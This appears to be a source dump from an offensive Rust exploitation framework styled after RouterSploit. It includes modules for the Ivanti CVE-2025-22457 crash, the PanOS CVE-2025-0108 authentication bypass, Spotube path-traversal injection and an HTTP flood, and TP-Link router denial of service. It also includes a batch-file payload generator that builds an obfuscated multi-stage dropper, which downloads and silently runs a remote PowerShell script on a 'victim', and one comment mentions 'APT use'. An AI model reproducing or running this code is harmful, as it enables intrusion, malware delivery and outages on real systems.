(@securekomodo) 4 | //Severity: Critical 5 | //CWE: CWE-121 – Stack-Based Buffer Overflow 6 | //CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) 7 | //Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways 8 | //Affected Versions: 9 | // - Connect Secure < 22.7R2.6 10 | // - Policy Secure < 22.7R1.4 11 | // - ZTA Gateways < 22.8R2.2 12 | 13 | // Description: 14 | // This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure, 15 | // which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header. 16 | 17 | // In detailed mode, the vulnerability is confirmed if: 18 | // 1. A pre-check GET request returns HTTP 200 19 | // 2. A POST request with the crafted payload receives no response (safe crash) 20 | // 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental 21 | 22 | // If this sequence is observed, the system is marked as vulnerable. 23 | // A vulnerable system will generate the log on the server appliance: 24 | // ERROR31093: Program web recently failed. 25 | 26 | //References: 27 | // - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457 28 | // - https://www.cvedetails.com/cve/CVE-2025-22457 29 | // - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce 30 | 31 | 32 | 33 | 34 | 35 | use anyhow::Result; 36 | use regex::Regex; 37 | use reqwest::{Client, StatusCode}; 38 | use std::time::Duration; 39 | use tokio::time::sleep; 40 | use tokio::io::{self, AsyncBufReadExt, BufReader}; 41 | use url::Url; 42 | 43 | /// ANSI color codes for terminal output 44 | struct Colors; 45 | impl Colors { 46 | const YELLOW: &'static str = "\x1b[93m"; 47 | const GREEN: &'static str = "\x1b[92m"; 48 | const GRAY: &'static str = "\x1b[90m"; 49 | const RED: &'static str = "\x1b[91m"; 50 | const RESET: &'static str = "\x1b[0m"; 51 | } 52 | 53 | /// // Paths tested for CVE-2025-22457 54 | const PATHS: [&str; 2] = [ 55 | "/dana-na/auth/url_default/welcome.cgi", 56 | "/dana-na/setup/psaldownload.cgi", 57 | ]; 58 | 59 | /// // Headers for initial and payload requests 60 | fn default_headers() -> reqwest::header::HeaderMap { 61 | let mut headers = reqwest::header::HeaderMap::new(); 62 | headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap()); 63 | headers 64 | } 65 | 66 | fn payload_headers() -> reqwest::header::HeaderMap { 67 | let mut headers = reqwest::header::HeaderMap::new(); 68 | headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap()); 69 | headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap()); 70 | headers 71 | } 72 | 73 | /// // Safe HTTP request wrapper 74 | async fn safe_request( 75 | method: &str, 76 | url: &str, 77 | headers: reqwest::header::HeaderMap, 78 | timeout_secs: u64, 79 | ) -> Option { 80 | let client = Client::builder() 81 | .danger_accept_invalid_certs(true) 82 | .timeout(Duration::from_secs(timeout_secs)) 83 | .build() 84 | .ok()?; 85 | 86 | match method { 87 | "GET" => client.get(url).headers(headers).send().await.ok(), 88 | "POST" => client.post(url).headers(headers).send().await.ok(), 89 | _ => None, 90 | } 91 | } 92 | 93 | /// // Normalize and extract usable target URL from IPv6/host formats 94 | async fn normalize_target(raw: &str) -> Result { 95 | let mut input = raw.trim().to_string(); 96 | 97 | // // Handle IPv6 edge brackets like [[::1]] or [[[::1]]] 98 | while input.starts_with('[') && input.ends_with(']') { 99 | input = input.trim_start_matches('[').trim_end_matches(']').to_string(); 100 | } 101 | 102 | // // Prepend https:// if missing 103 | if !input.starts_with("http://") && !input.starts_with("https://") { 104 | input = format!("https://{}", input); 105 | } 106 | 107 | let mut parsed = Url::parse(&input)?; 108 | 109 | // // Prompt for port if not present 110 | if parsed.port_or_known_default().is_none() { 111 | println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET); 112 | let mut port_line = String::new(); 113 | BufReader::new(io::stdin()).read_line(&mut port_line).await?; 114 | let port = port_line.trim().parse::()?; 115 | parsed.set_port(Some(port)).expect("invalid port"); 116 | } 117 | 118 | Ok(parsed[..].to_string()) 119 | } 120 | 121 | /// // Version info grabber for passive fingerprinting 122 | async fn grab_version_info(target: &str) -> Result> { 123 | let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target); 124 | let client = Client::builder() 125 | .danger_accept_invalid_certs(true) 126 | .timeout(Duration::from_secs(5)) 127 | .build()?; 128 | 129 | if let Ok(r) = client.get(&version_url).send().await { 130 | if r.status() == StatusCode::OK { 131 | let body = r.text().await?; 132 | let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?; 133 | let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?; 134 | 135 | let name = name_re 136 | .captures(&body) 137 | .and_then(|cap| cap.get(1).map(|m| m.as_str())); 138 | let ver = ver_re 139 | .captures(&body) 140 | .and_then(|cap| cap.get(1).map(|m| m.as_str())); 141 | 142 | if let (Some(name), Some(ver)) = (name, ver) { 143 | println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET); 144 | 145 | // // Passive logic 146 | if ver.starts_with("9.") { 147 | println!( 148 | "{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}", 149 | Colors::YELLOW, Colors::RESET 150 | ); 151 | } else if let Ok(parsed_ver) = semver::Version::parse(ver) { 152 | if parsed_ver < semver::Version::parse("22.7.0")? { 153 | println!( 154 | "{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}", 155 | Colors::YELLOW, ver, Colors::RESET 156 | ); 157 | } else { 158 | println!( 159 | "{}Version {} appears patched.{}", 160 | Colors::GREEN, ver, Colors::RESET 161 | ); 162 | } 163 | } 164 | 165 | return Ok(Some(version_url)); 166 | } 167 | } 168 | } 169 | 170 | println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET); 171 | Ok(None) 172 | } 173 | 174 | /// // Run detailed check using the 3-phase logic from PoC 175 | async fn detailed_check(target: &str) -> Result> { 176 | println!( 177 | "\n{}Starting detailed check on {}{}", 178 | Colors::GRAY, target, Colors::RESET 179 | ); 180 | 181 | let mut vulnerable_paths = Vec::new(); 182 | 183 | if let Some(ver_url) = grab_version_info(target).await? { 184 | vulnerable_paths.push(ver_url); 185 | } 186 | 187 | for path in PATHS { 188 | let full_url = format!("{target}{path}"); 189 | println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET); 190 | 191 | // // Step 1: Pre-check 192 | let r1 = safe_request("GET", &full_url, default_headers(), 5).await; 193 | if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) { 194 | println!( 195 | "{}Pre-check failed (status: {}). Skipping...{}", 196 | Colors::GRAY, 197 | r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0), 198 | Colors::RESET 199 | ); 200 | continue; 201 | } 202 | 203 | println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET); 204 | 205 | // // Step 2: Payload 206 | let r2 = safe_request("POST", &full_url, payload_headers(), 10).await; 207 | if r2.is_some() { 208 | println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET); 209 | continue; 210 | } 211 | 212 | println!( 213 | "{}No response to payload (expected crash behavior).{}", 214 | Colors::GREEN, Colors::RESET 215 | ); 216 | 217 | // // Step 3: Follow-up GET 218 | sleep(Duration::from_secs(1)).await; 219 | let r3 = safe_request("GET", &full_url, default_headers(), 5).await; 220 | 221 | if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) { 222 | println!( 223 | "{}Follow-up returned HTTP 200. Crash condition verified.{}", 224 | Colors::GREEN, Colors::RESET 225 | ); 226 | println!( 227 | "{}VULNERABLE: {}{}{}", 228 | Colors::YELLOW, target, path, Colors::RESET 229 | ); 230 | vulnerable_paths.push(full_url); 231 | } else { 232 | println!( 233 | "{}Follow-up failed. Crash condition not confirmed.{}", 234 | Colors::GRAY, Colors::RESET 235 | ); 236 | } 237 | } 238 | 239 | Ok(vulnerable_paths) 240 | } 241 | 242 | /// // Required entry point for RouterSploit-style dispatcher 243 | pub async fn run(target: &str) -> Result<()> { 244 | let normalized = normalize_target(target).await?; 245 | let result = detailed_check(&normalized).await?; 246 | 247 | if !result.is_empty() { 248 | println!( 249 | "\n{}Exploit result: SUCCESS – vulnerable paths found.{}", 250 | Colors::YELLOW, Colors::RESET 251 | ); 252 | } else { 253 | println!( 254 | "\n{}Exploit result: NOT VULNERABLE – no indicators.{}", 255 | Colors::RED, Colors::RESET 256 | ); 257 | } 258 | 259 | Ok(()) 260 | } 261 | -------------------------------------------------------------------------------- /src/modules/exploits/ivanti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod ivanti_connect_secure_stack_based_buffer_overflow; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod generic; 2 | pub mod sample_exploit; 3 | pub mod payloadgens; 4 | pub mod tplink; 5 | pub mod ssh; 6 | pub mod spotube; 7 | pub mod ftp; 8 | pub mod zabbix; 9 | pub mod abus; 10 | pub mod uniview; 11 | pub mod avtech; 12 | pub mod acti; 13 | pub mod zte; 14 | pub mod ivanti; 15 | pub mod apache_tomcat; 16 | pub mod palto_alto; 17 | 18 | -------------------------------------------------------------------------------- /src/modules/exploits/palto_alto/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod panos_authbypass_cve_2025_0108; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/palto_alto/panos_authbypass_cve_2025_0108.rs: -------------------------------------------------------------------------------- 1 | // Filename: cve_2025_0108.rs 2 | 3 | use anyhow::{Result, bail}; 4 | use colored::*; 5 | use reqwest::Client; 6 | use std::{ 7 | fs::File, 8 | io::{self, BufRead, BufReader, Write}, 9 | process::Command, 10 | time::Duration, 11 | }; 12 | use url::Url; 13 | 14 | /// // CVE-2025-0108 - PanOS Authentication Bypass 15 | /// // Author: iSee857 16 | /// // Ported to Rust by ethical hacker daniel for APT use 17 | 18 | /// // Displays module banner 19 | fn banner() { 20 | println!( 21 | "{}", 22 | r#" 23 | **************************************************** 24 | * CVE-2025-0108 * 25 | * PanOs 身份认证绕过漏洞 * 26 | * 作者: iSee857 * 27 | **************************************************** 28 | "# 29 | .cyan() 30 | ); 31 | } 32 | 33 | /// // Reads target list from file 34 | fn read_file(file_path: &str) -> Result> { 35 | let file = File::open(file_path)?; 36 | let reader = BufReader::new(file); 37 | Ok(reader.lines().filter_map(Result::ok).collect()) 38 | } 39 | 40 | /// // Normalize IPv6 host with double or triple brackets 41 | fn normalize_ipv6_host(host: &str) -> String { 42 | let stripped = host.trim_matches(|c| c == '[' || c == ']'); 43 | if stripped.contains(':') { 44 | format!("[{}]", stripped) 45 | } else { 46 | stripped.to_string() 47 | } 48 | } 49 | 50 | /// // Constructs the full normalized URL 51 | fn normalize_url(host: &str, port: u16, proto: &str) -> Option { 52 | let host = normalize_ipv6_host(host); 53 | let base = format!("{}{}:{}", proto, host, port); 54 | Url::parse(&base).ok().map(|u| u.to_string()) 55 | } 56 | 57 | /// // Opens a URL in the default system browser 58 | fn open_browser(url: &str) -> Result<()> { 59 | #[cfg(target_os = "linux")] 60 | let cmd = Command::new("xdg-open").arg(url).spawn(); 61 | 62 | #[cfg(target_os = "windows")] 63 | let cmd = Command::new("cmd").args(["/C", "start", url]).spawn(); 64 | 65 | #[cfg(target_os = "macos")] 66 | let cmd = Command::new("open").arg(url).spawn(); 67 | 68 | if cmd.is_err() { 69 | bail!("Could not open default browser."); 70 | } 71 | Ok(()) 72 | } 73 | 74 | /// // Executes CVE-2025-0108 check 75 | async fn check(url: &str, port: u16, client: &Client) -> Result { 76 | let protocols = ["http://", "https://"]; 77 | let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"; 78 | 79 | for proto in &protocols { 80 | if let Some(base_url) = normalize_url(url, port, proto) { 81 | let full_url = format!("{}{}", base_url.trim_end_matches('/'), path); 82 | println!("{}", full_url); 83 | 84 | let resp = client.get(&full_url).send().await; 85 | 86 | if let Ok(res) = resp { 87 | let status = res.status(); 88 | let body = res.text().await.unwrap_or_default(); 89 | 90 | if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") { 91 | println!( 92 | "{}", 93 | format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red() 94 | ); 95 | let _ = open_browser(&full_url); 96 | return Ok(true); 97 | } 98 | } 99 | } 100 | } 101 | 102 | Ok(false) 103 | } 104 | 105 | 106 | /// // Main entry point for auto-dispatch system 107 | pub async fn run(target: &str) -> Result<()> { 108 | banner(); 109 | 110 | let mut port_input = String::new(); 111 | print!("Enter target port (default 443): "); 112 | io::stdout().flush()?; 113 | io::stdin().read_line(&mut port_input)?; 114 | let port: u16 = port_input.trim().parse().unwrap_or(443); 115 | 116 | let client = Client::builder() 117 | .timeout(Duration::from_secs(10)) 118 | .danger_accept_invalid_certs(true) 119 | .build()?; 120 | 121 | if target.ends_with(".txt") { 122 | let urls = read_file(target)?; 123 | for url in urls { 124 | let _ = check(&url, port, &client).await; 125 | } 126 | } else { 127 | let _ = check(target, port, &client).await; 128 | } 129 | 130 | Ok(()) 131 | } 132 | -------------------------------------------------------------------------------- /src/modules/exploits/payloadgens/batgen.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use rand::{seq::SliceRandom, rng}; 3 | use std::{ 4 | fs, 5 | io::{self, Write}, 6 | path::Path, 7 | }; 8 | 9 | use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _}; 10 | 11 | fn prompt(prompt: &str) -> Result { 12 | print!("{prompt}"); 13 | io::stdout().flush()?; 14 | let mut buffer = String::new(); 15 | io::stdin().read_line(&mut buffer)?; 16 | Ok(buffer.trim().to_string()) 17 | } 18 | 19 | fn base64_split_encode(url: &str) -> (String, String) { 20 | let mid = url.len() / 2; 21 | let (first, second) = url.split_at(mid); 22 | let first_encoded = BASE64_STANDARD.encode(first); 23 | let second_encoded = BASE64_STANDARD.encode(second); 24 | (first_encoded, second_encoded) 25 | } 26 | 27 | fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> { 28 | let mut symbols = vec![ 29 | "测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘", 30 | "✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析", 31 | ]; 32 | let mut rng = rng(); 33 | symbols.shuffle(&mut rng); 34 | 35 | let s2 = symbols[0].to_string(); 36 | let s3 = symbols[1].to_string(); 37 | let s4 = symbols[2].to_string(); 38 | let _f1 = symbols[3].to_string(); 39 | let _f2 = symbols[4].to_string(); 40 | let _f3 = symbols[5].to_string(); 41 | 42 | let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new(".")); 43 | let _stage1 = Path::new(stage1_path); 44 | let _stage2 = base.join(format!("{s2}.bat")); 45 | let _stage3 = base.join(format!("{s3}.bat")); 46 | let _stage4 = base.join(format!("{s4}.bat")); 47 | 48 | // Encode URL 49 | let (part1_b64, part2_b64) = base64_split_encode(url); 50 | 51 | // === Stage 1: writes stage2.bat === 52 | let stage1_contents = format!( 53 | r#"@echo off 54 | setlocal EnableDelayedExpansion 55 | cls >nul 56 | :: Sleep random 1-4 seconds 57 | set /a RND=1+%RANDOM%%%4 58 | timeout /t %RND% /nobreak >nul 59 | 60 | :: Five explicit 1-second sleeps at stage 1 61 | timeout /t 1 /nobreak >nul 62 | timeout /t 1 /nobreak >nul 63 | timeout /t 1 /nobreak >nul 64 | timeout /t 1 /nobreak >nul 65 | timeout /t 1 /nobreak >nul 66 | 67 | echo Creating next stage... 68 | ( 69 | echo @echo off 70 | echo setlocal EnableDelayedExpansion 71 | echo cls ^>nul 72 | echo set /a RND=1+%%RANDOM%%%%4 73 | echo timeout /t %%RND%% /nobreak ^>nul 74 | 75 | :: Five explicit 1-second sleeps for stage 2 76 | echo timeout /t 1 /nobreak ^>nul 77 | echo timeout /t 1 /nobreak ^>nul 78 | echo timeout /t 1 /nobreak ^>nul 79 | echo timeout /t 1 /nobreak ^>nul 80 | echo timeout /t 1 /nobreak ^>nul 81 | 82 | echo echo Creating next stage... 83 | echo ( 84 | echo @echo off 85 | echo setlocal EnableDelayedExpansion 86 | echo cls ^>nul 87 | echo set /a RND=1+%%RANDOM%%%%4 88 | echo timeout /t %%RND%% /nobreak ^>nul 89 | 90 | :: Five explicit 1-second sleeps for stage 3 91 | echo timeout /t 1 /nobreak ^>nul 92 | echo timeout /t 1 /nobreak ^>nul 93 | echo timeout /t 1 /nobreak ^>nul 94 | echo timeout /t 1 /nobreak ^>nul 95 | echo timeout /t 1 /nobreak ^>nul 96 | 97 | echo echo Creating final stage... 98 | echo ( 99 | echo @echo off 100 | echo setlocal EnableDelayedExpansion 101 | echo cls ^>nul 102 | echo set /a RND=1+%%RANDOM%%%%4 103 | echo timeout /t %%RND%% /nobreak ^>nul 104 | echo set part1={part1_b64} 105 | echo set part2={part2_b64} 106 | echo powershell -WindowStyle Hidden -Command ^^" 107 | echo $p1 = $env:part1; 108 | echo $p2 = $env:part2; 109 | echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2)); 110 | echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}'; 111 | echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}'; 112 | echo ^^" 113 | echo exit 114 | echo ) > "{s4}" 115 | echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4 116 | echo start "" /B "{s4}" :: Launch stage 4 in background 117 | echo exit 118 | echo ) > "{s3}" 119 | echo start "" /B "{s3}" :: Launch stage 3 in background 120 | echo exit 121 | ) > "{s2}" 122 | 123 | start "" /B "{s2}" :: Launch stage 2 in background 124 | exit 125 | "#); 126 | 127 | fs::write(_stage1, stage1_contents)?; 128 | 129 | Ok(()) 130 | } 131 | 132 | pub async fn run(_target: &str) -> Result<()> { 133 | let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?; 134 | let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?; 135 | let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?; 136 | 137 | write_payload_chain(&stage1_name, &github_url, &ps1_output)?; 138 | println!("[+] Stage 1 payload written to {stage1_name}"); 139 | println!("[*] Chain will execute real .bat files one after the other with random jitter."); 140 | Ok(()) 141 | } 142 | -------------------------------------------------------------------------------- /src/modules/exploits/payloadgens/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod narutto_dropper; 2 | pub mod batgen; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/sample_exploit.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use reqwest; 3 | 4 | /// A basic demonstration exploit that checks if a specific endpoint is "vulnerable" 5 | pub async fn run(target: &str) -> Result<()> { 6 | println!("[*] Running sample_exploit against target: {}", target); 7 | 8 | let url = format!("http://{}/vulnerable_endpoint", target); 9 | let resp = reqwest::get(&url) 10 | .await 11 | .context("Failed to send request")? 12 | .text() 13 | .await 14 | .context("Failed to read response")?; 15 | 16 | if resp.contains("Vulnerable!") { 17 | println!("[+] Target is vulnerable!"); 18 | } else { 19 | println!("[-] Target does not appear to be vulnerable."); 20 | } 21 | 22 | Ok(()) 23 | } 24 | -------------------------------------------------------------------------------- /src/modules/exploits/spotube/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod spotube; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/spotube/spotube.rs: -------------------------------------------------------------------------------- 1 | //// src/modules/exploits/spotube/spotube_remote.rs 2 | //// src/modules/exploits/spotube/spotube.rs 3 | //// made by me suicidal teddy my first ever zero day exploit 4 | //// no auth when you use api and can be excuted locally 5 | //// src/modules/exploits/spotube/spotube.rs 6 | use anyhow::{Context, Result}; 7 | use futures_util::{SinkExt, StreamExt}; 8 | use reqwest::Client; 9 | use serde_json::json; 10 | use std::collections::HashMap; 11 | use std::io::{self, Write}; 12 | use tokio::time::{sleep, Duration}; 13 | use tokio_tungstenite::connect_async; 14 | use tokio_tungstenite::tungstenite::Message; 15 | 16 | // //// // Custom headers to emulate BurpSuite-style browser requests 17 | fn browser_headers(host: &str, port: &str) -> HashMap { 18 | let mut headers = HashMap::new(); 19 | headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into()); 20 | headers.insert("Upgrade-Insecure-Requests".into(), "1".into()); 21 | headers.insert( 22 | "User-Agent".into(), 23 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \ 24 | (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 25 | .into(), 26 | ); 27 | headers.insert( 28 | "Accept".into(), 29 | "text/html,application/xhtml+xml,application/xml;q=0.9,\ 30 | image/avif,image/webp,image/apng,*/*;q=0.8,\ 31 | application/signed-exchange;v=b3;q=0.7" 32 | .into(), 33 | ); 34 | headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into()); 35 | headers.insert("Connection".into(), "keep-alive".into()); 36 | headers.insert("Host".into(), format!("{}:{}", host, port)); 37 | headers 38 | } 39 | 40 | // //// // Sends the GET request to the Spotube endpoint with custom headers 41 | async fn execute(host: &str, port: &str, path: &str) -> Result<()> { 42 | let client = Client::builder() 43 | .danger_accept_invalid_certs(true) 44 | .timeout(std::time::Duration::from_secs(5)) 45 | .build() 46 | .context("Failed to build HTTP client")?; 47 | 48 | let url = format!("http://{}:{}{}", host, port, path); 49 | let headers = browser_headers(host, port); 50 | 51 | let mut request = client.get(&url); 52 | for (key, value) in headers { 53 | request = request.header(&key, &value); 54 | } 55 | 56 | let response = request.send().await.context("Request failed")?; 57 | let status = response.status(); 58 | let body = response.text().await.unwrap_or_default(); 59 | 60 | println!( 61 | "{} → {} {}", 62 | path, 63 | status.as_u16(), 64 | status.canonical_reason().unwrap_or("Unknown") 65 | ); 66 | println!("{}", body.trim()); 67 | 68 | Ok(()) 69 | } 70 | 71 | // //// // Sends a malicious 'load' event over WS with a track name containing ../ 72 | async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> { 73 | // prompt for malicious filename 74 | print!("Enter malicious filename (e.g. ../evil.sh): "); 75 | io::stdout().flush()?; 76 | let mut name = String::new(); 77 | io::stdin().read_line(&mut name)?; 78 | let malicious_name = { 79 | let t = name.trim(); 80 | if t.is_empty() { "../evil.sh" } else { t } 81 | }; 82 | 83 | // prompt for fake track ID 84 | print!("Enter fake track ID (e.g. INJECT1): "); 85 | io::stdout().flush()?; 86 | let mut tid = String::new(); 87 | io::stdin().read_line(&mut tid)?; 88 | let track_id = { 89 | let t = tid.trim(); 90 | if t.is_empty() { "INJECT1" } else { t } 91 | }; 92 | 93 | // prompt for codec extension 94 | print!("Enter codec extension (e.g. mp3): "); 95 | io::stdout().flush()?; 96 | let mut cd = String::new(); 97 | io::stdin().read_line(&mut cd)?; 98 | let codec = { 99 | let t = cd.trim(); 100 | if t.is_empty() { "mp3" } else { t } 101 | }; 102 | 103 | let payload = json!({ 104 | "type": "load", 105 | "data": { 106 | "tracks": [ 107 | { 108 | "name": malicious_name, 109 | "artists": { "asString": "" }, 110 | "sourceInfo": { "id": track_id }, 111 | "codec": { "name": codec } 112 | } 113 | ] 114 | } 115 | }); 116 | 117 | let ws_url = format!("ws://{}:{}/ws", host, port); 118 | println!("Connecting to {} …", ws_url); 119 | 120 | let (ws_stream, _) = connect_async(&ws_url) 121 | .await 122 | .context("WebSocket connection failed")?; 123 | let (mut write, _) = ws_stream.split(); 124 | 125 | let msg_text = payload.to_string(); 126 | write 127 | .send(Message::Text(msg_text.clone().into())) 128 | .await 129 | .context("Failed to send WebSocket message")?; 130 | 131 | println!("▶️ Malicious load payload sent:"); 132 | println!("{}", serde_json::to_string_pretty(&payload)?); 133 | 134 | Ok(()) 135 | } 136 | 137 | // //// // Floods the given endpoint with `count` rapid requests (with optional delay). 138 | async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> { 139 | println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay); 140 | for _ in 0..count { 141 | let _ = execute(host, port, path).await; 142 | if delay > 0.0 { 143 | sleep(Duration::from_secs_f64(delay)).await; 144 | } 145 | } 146 | println!("🔥 Done flood."); 147 | Ok(()) 148 | } 149 | 150 | // //// // CLI menu that mimics the original Python script, now with WS and DoS 151 | pub async fn run(target: &str) -> Result<()> { 152 | println!("⚙️ Spotube Advanced Exploit CLI\n"); 153 | 154 | let host = target.to_string(); // use target passed from set command 155 | 156 | // //// // port prompt (optional override) 157 | print!("Enter port [17086]: "); 158 | io::stdout().flush()?; 159 | let mut p = String::new(); 160 | io::stdin().read_line(&mut p)?; 161 | let port = { 162 | let t = p.trim(); 163 | if t.is_empty() { "17086".to_string() } else { t.to_string() } 164 | }; 165 | 166 | loop { 167 | println!("\n=== Menu ==="); 168 | println!("1. Ping server"); 169 | println!("2. Next track"); 170 | println!("3. Previous track"); 171 | println!("4. Toggle play/pause"); 172 | println!("5. Inject path-traversal via WS"); 173 | println!("6. Flood HTTP endpoint (DoS)"); 174 | println!("7. Exit"); 175 | 176 | print!("Choose an option: "); 177 | io::stdout().flush()?; 178 | let mut choice = String::new(); 179 | io::stdin().read_line(&mut choice)?; 180 | match choice.trim() { 181 | "1" => { 182 | println!("\n▶️ Ping server …"); 183 | let _ = execute(&host, &port, "/ping").await; 184 | } 185 | "2" => { 186 | println!("\n▶️ Next track …"); 187 | let _ = execute(&host, &port, "/playback/next").await; 188 | } 189 | "3" => { 190 | println!("\n▶️ Previous track …"); 191 | let _ = execute(&host, &port, "/playback/previous").await; 192 | } 193 | "4" => { 194 | println!("\n▶️ Toggle play/pause …"); 195 | let _ = execute(&host, &port, "/playback/toggle-playback").await; 196 | } 197 | "5" => { 198 | ws_inject_path_traversal(&host, &port).await?; 199 | } 200 | "6" => { 201 | // //// // flood prompts 202 | print!("Endpoint to flood (e.g. /playback/next): "); 203 | io::stdout().flush()?; 204 | let mut path = String::new(); 205 | io::stdin().read_line(&mut path)?; 206 | let path = path.trim(); 207 | 208 | print!("Number of requests [100]: "); 209 | io::stdout().flush()?; 210 | let mut cnt = String::new(); 211 | io::stdin().read_line(&mut cnt)?; 212 | let count = cnt.trim().parse().unwrap_or(100); 213 | 214 | print!("Delay between requests (s) [0]: "); 215 | io::stdout().flush()?; 216 | let mut dly = String::new(); 217 | io::stdin().read_line(&mut dly)?; 218 | let delay = dly.trim().parse().unwrap_or(0.0); 219 | 220 | dos_flood(&host, &port, path, count, delay).await?; 221 | } 222 | "7" => { 223 | println!("👋 Goodbye!"); 224 | break; 225 | } 226 | _ => println!("❌ Invalid choice, try again."), 227 | } 228 | } 229 | 230 | Ok(()) 231 | } 232 | -------------------------------------------------------------------------------- /src/modules/exploits/ssh/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod opensshserver_9_8p1race_condition; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod tp_link_vn020_dos; 2 | pub mod tplink_wr740n_dos; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/tp_link_vn020_dos.rs: -------------------------------------------------------------------------------- 1 | // CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service 2 | // Exploit Author: Mohamed Maatallah 3 | // Ported to Rust 4 | 5 | use anyhow::{Context, Result}; 6 | use reqwest::Client; 7 | use std::io::{self, BufRead}; 8 | use std::sync::{ 9 | atomic::{AtomicBool, Ordering}, 10 | Arc, 11 | }; 12 | use std::thread; 13 | use std::time::Duration; 14 | use tokio::join; 15 | 16 | /// Normalize IPv6/IPv4/hostname and fix extra brackets 17 | fn normalize_target_host(raw: &str) -> String { 18 | // Remove outer brackets if any, then reapply correctly for IPv6 19 | let stripped = raw.trim_matches(|c| c == '[' || c == ']'); 20 | if stripped.contains(':') { 21 | format!("[{stripped}]") 22 | } else { 23 | stripped.to_string() 24 | } 25 | } 26 | 27 | /// Send the malformed AddPortMapping SOAP request (PoC 1) 28 | async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> { 29 | // Missing parameters PoC - will crash the router 30 | let url = format!("http://{target}:5431/control/WANIPConnection"); 31 | let body = r#" 32 | 33 | 34 | 35 | hello 36 | 37 | 38 | "#; 39 | 40 | let res = client 41 | .post(&url) 42 | .header("Content-Type", "text/xml") 43 | .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"") 44 | .body(body) 45 | .send() 46 | .await 47 | .context("Failed to send DoS request 1 (Missing Parameters)")?; 48 | 49 | println!("[+] PoC 1 sent. Status: {}", res.status()); 50 | Ok(()) 51 | } 52 | 53 | /// Send the memory corruption SetConnectionType SOAP request (PoC 2) 54 | async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> { 55 | // Memory corruption PoC using format string overflow 56 | let long_payload = "%x".repeat(10_000); 57 | let url = format!("http://{target}:5431/control/WANIPConnection"); 58 | let body = format!( 59 | r#" 60 | 61 | 62 | 63 | {} 64 | 65 | 66 | "#, 67 | long_payload 68 | ); 69 | 70 | let res = client 71 | .post(&url) 72 | .header("Content-Type", "text/xml") 73 | .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"") 74 | .body(body) 75 | .send() 76 | .await 77 | .context("Failed to send DoS request 2 (Memory Corruption)")?; 78 | 79 | println!("[+] PoC 2 sent. Status: {}", res.status()); 80 | Ok(()) 81 | } 